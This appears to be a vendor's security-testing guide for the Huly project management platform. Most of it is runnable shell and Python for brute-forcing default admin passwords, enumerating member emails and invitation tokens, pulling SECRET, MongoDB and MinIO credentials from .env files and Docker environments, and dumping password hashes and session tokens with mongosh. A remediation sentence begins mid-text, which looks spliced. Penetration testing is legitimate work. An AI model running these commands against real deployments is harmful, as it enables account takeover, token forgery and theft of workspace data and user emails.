Huly is a widely deployed open-source all-in-one project management platform (Linear/Notion/GitHub alternative) used to manage projects, issues, documents, team communications, and HR processes — it stores all organizational workspace data in one place. Key assessment areas: the SECRET environment variable signs authentication tokens; the API provides access to all workspace content; MongoDB stores all platform data including user accounts, workspace content, and collaboration history; and MinIO stores all uploaded files and attachments. This guide covers systematic Huly security assessment.
# Huly — authentication and API token testing
HULY_URL="https://huly.example.com"
# Huly login — email/password authentication
AUTH=$(curl -s -X POST "${HULY_URL}/api/v1/auth/login" \
-H "Content-Type: application/json" \
-d '{"email":"admin@example.com","password":"admin"}' 2>/dev/null)
TOKEN=$(echo "$AUTH" | python3 -c "
import json,sys
d=json.load(sys.stdin)
# Huly may return token in different fields
for key in ['token','access_token','result']:
if key in d and isinstance(d[key],str) and len(d[key]) > 10:
print(d[key][:50])
break
else:
print('FAIL: '+str(list(d.keys())))
" 2>/dev/null)
echo "Token: ${TOKEN}"
# Huly also uses WebSocket for real-time communication
# HTTP API endpoint may vary by deployment version
for PASS in "admin" "huly" "password" "changeme" "admin123"; do
STATUS=$(curl -s -X POST "${HULY_URL}/api/v1/auth/login" \
-H "Content-Type: application/json" \
-d "{\"email\":\"admin@example.com\",\"password\":\"${PASS}\"}" 2>/dev/null | \
python3 -c "import json,sys; d=json.load(sys.stdin); print('OK' if any(k in d for k in ['token','result','access_token']) else 'FAIL')" 2>/dev/null)
echo "admin@example.com/${PASS}: ${STATUS}"
done
# Huly API — workspace and content enumeration
HULY_URL="https://huly.example.com"
API_TOKEN="your-huly-token"
# Get workspaces (organizations)
curl -s "${HULY_URL}/api/v1/spaces" \
-H "Authorization: Bearer ${API_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
spaces = d.get('result',[]) if isinstance(d,dict) else d
print(f'Workspaces: {len(spaces) if isinstance(spaces,list) else spaces}')
if isinstance(spaces,list):
for s in spaces[:5]:
print(f' [{s.get(\"_id\")}] {s.get(\"name\")} members={s.get(\"memberCount\",\"?\")}')
" 2>/dev/null
# Get all workspace members (with email addresses)
WORKSPACE="your-workspace"
curl -s "${HULY_URL}/api/v1/spaces/${WORKSPACE}/members" \
-H "Authorization: Bearer ${API_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
members = d.get('result',[]) if isinstance(d,dict) else d
print(f'Members: {len(members) if isinstance(members,list) else members}')
if isinstance(members,list):
for m in members[:10]:
print(f' email={m.get(\"email\",\"\")} name={m.get(\"name\",\"\")} role={m.get(\"role\",\"\")}')
" 2>/dev/null
# Invitation token abuse — workspace invitations have tokens
# Enumerate or predict invitation tokens for unauthorized workspace join
curl -s "${HULY_URL}/api/v1/invites" \
-H "Authorization: Bearer ${API_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
invites = d.get('result',[]) if isinstance(d,dict) else d
print(f'Active invites: {len(invites) if isinstance(invites,list) else invites}')
if isinstance(invites,list):
for i in invites[:5]:
print(f' token={i.get(\"_id\",\"\")} workspace={i.get(\"workspace\",\"\")} expires={i.get(\"expiresOn\",\"\")}')
" 2>/dev/null
# Huly SECRET key and MongoDB credential extraction
# .env file — Huly configuration
cat /path/to/huly/.env 2>/dev/null | grep -E "SECRET|MONGO|MINIO|ELASTIC|SMTP|PASSWORD"
# SECRET — token signing key
# MONGO_URL — MongoDB connection string
# MINIO_* — object storage credentials
# ELASTIC_URL — Elasticsearch/Meilisearch for search
# Docker environment variables (Huly uses docker-compose)
docker inspect santeam-account 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for c in d:
for e in c.get('Config',{}).get('Env',[]):
if any(k in e for k in ['SECRET','MONGO','MINIO','ELASTIC','PASSWORD','SMTP']):
print(e)
" 2>/dev/null
# MongoDB direct access — all workspace data
MONGO_URL="mongodb://huly:PASSWORD@localhost/huly"
mongosh "$MONGO_URL" 2>/dev/null << 'EOF'
// All user accounts
db.account.find({}, {email:1, hash:1, salt:1, workspaces:1, _id:0}).limit(20)
EOF
# Workspace content — projects and issues
mongosh "$MONGO_URL" 2>/dev/null << 'EOF'
// All workspaces (spaces/organizations)
db.workspace.find({}, {workspace:1, name:1, members:1}).limit(20)
EOF
# Stored tokens and sessions
mongosh "$MONGO_URL" 2>/dev/null << 'EOF'
// Active session tokens (may be stored as references)
db.token.find({}).limit(20)
EOF
# MinIO direct access — all uploaded files and attachments
# MinIO stores all file attachments from documents, tasks, and messages
mc ls minio/huly/ 2>/dev/null | head -20
# Contains: document attachments, profile pictures, file uploads in workspace content
# Search index exposure (Elasticsearch or Meilisearch)
# All workspace content may be indexed for search including confidential documents
curl -s "http://localhost:9200/huly/_search?size=5" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
hits = d.get('hits',{}).get('hits',[])
print(f'Indexed docs: {d.get(\"hits\",{}).get(\"total\",{}).get(\"value\",\"?\")}')
for h in hits[:3]:
src = h.get('_source',{})
print(f' type={src.get(\"_class\",\"\")} title={str(src.get(\"title\",src.get(\"name\",\"\")))[:40]}')
" 2>/dev/null
openssl rand -base64 48; store it in environment variables or a secrets manager rather than plain text configuration files; restrict .env file access to the process user only (chmod 600); rotate the SECRET immediately if the environment has been compromised — all existing tokens will be invalidated and users will need to re-authenticate; implement the token rotation as part of your incident response procedure| Security Test | Method | Risk |
|---|---|---|
| SECRET key extraction and token forgery | Read .env SECRET — token signing key; forge valid authentication tokens as any Huly workspace user or administrator bypassing password authentication | Critical |
| MongoDB credential extraction | Read MONGO_URL from .env or Docker env — complete database connection string; direct access to all workspace content, user accounts, password hashes, and collaboration history | Critical |
| MinIO/S3 credential extraction | Read MINIO_ACCESS_KEY and MINIO_SECRET_KEY — S3-compatible object storage access; direct access to all uploaded files, document attachments, and workspace media | High |
| Workspace member email enumeration | GET /api/v1/spaces/{workspace}/members — all workspace member emails and roles; enables targeted spear-phishing against all users of the workspace | High |
| Search index content exposure | Elasticsearch /huly/_search — all indexed workspace content including documents, issues, and messages; may expose confidential business data without authentication if Elasticsearch is deployed without security enabled | High |
Ironimo tests Huly deployments for SECRET key extraction and token forgery, MongoDB credential and workspace data extraction, MinIO file storage credential exposure, workspace member email enumeration, search index unauthenticated content access, Docker environment variable SECRET extraction, workspace invitation token abuse testing, MongoDB authentication bypass testing, Elasticsearch unauthenticated access, and admin credential brute force protection assessment.
Start free scan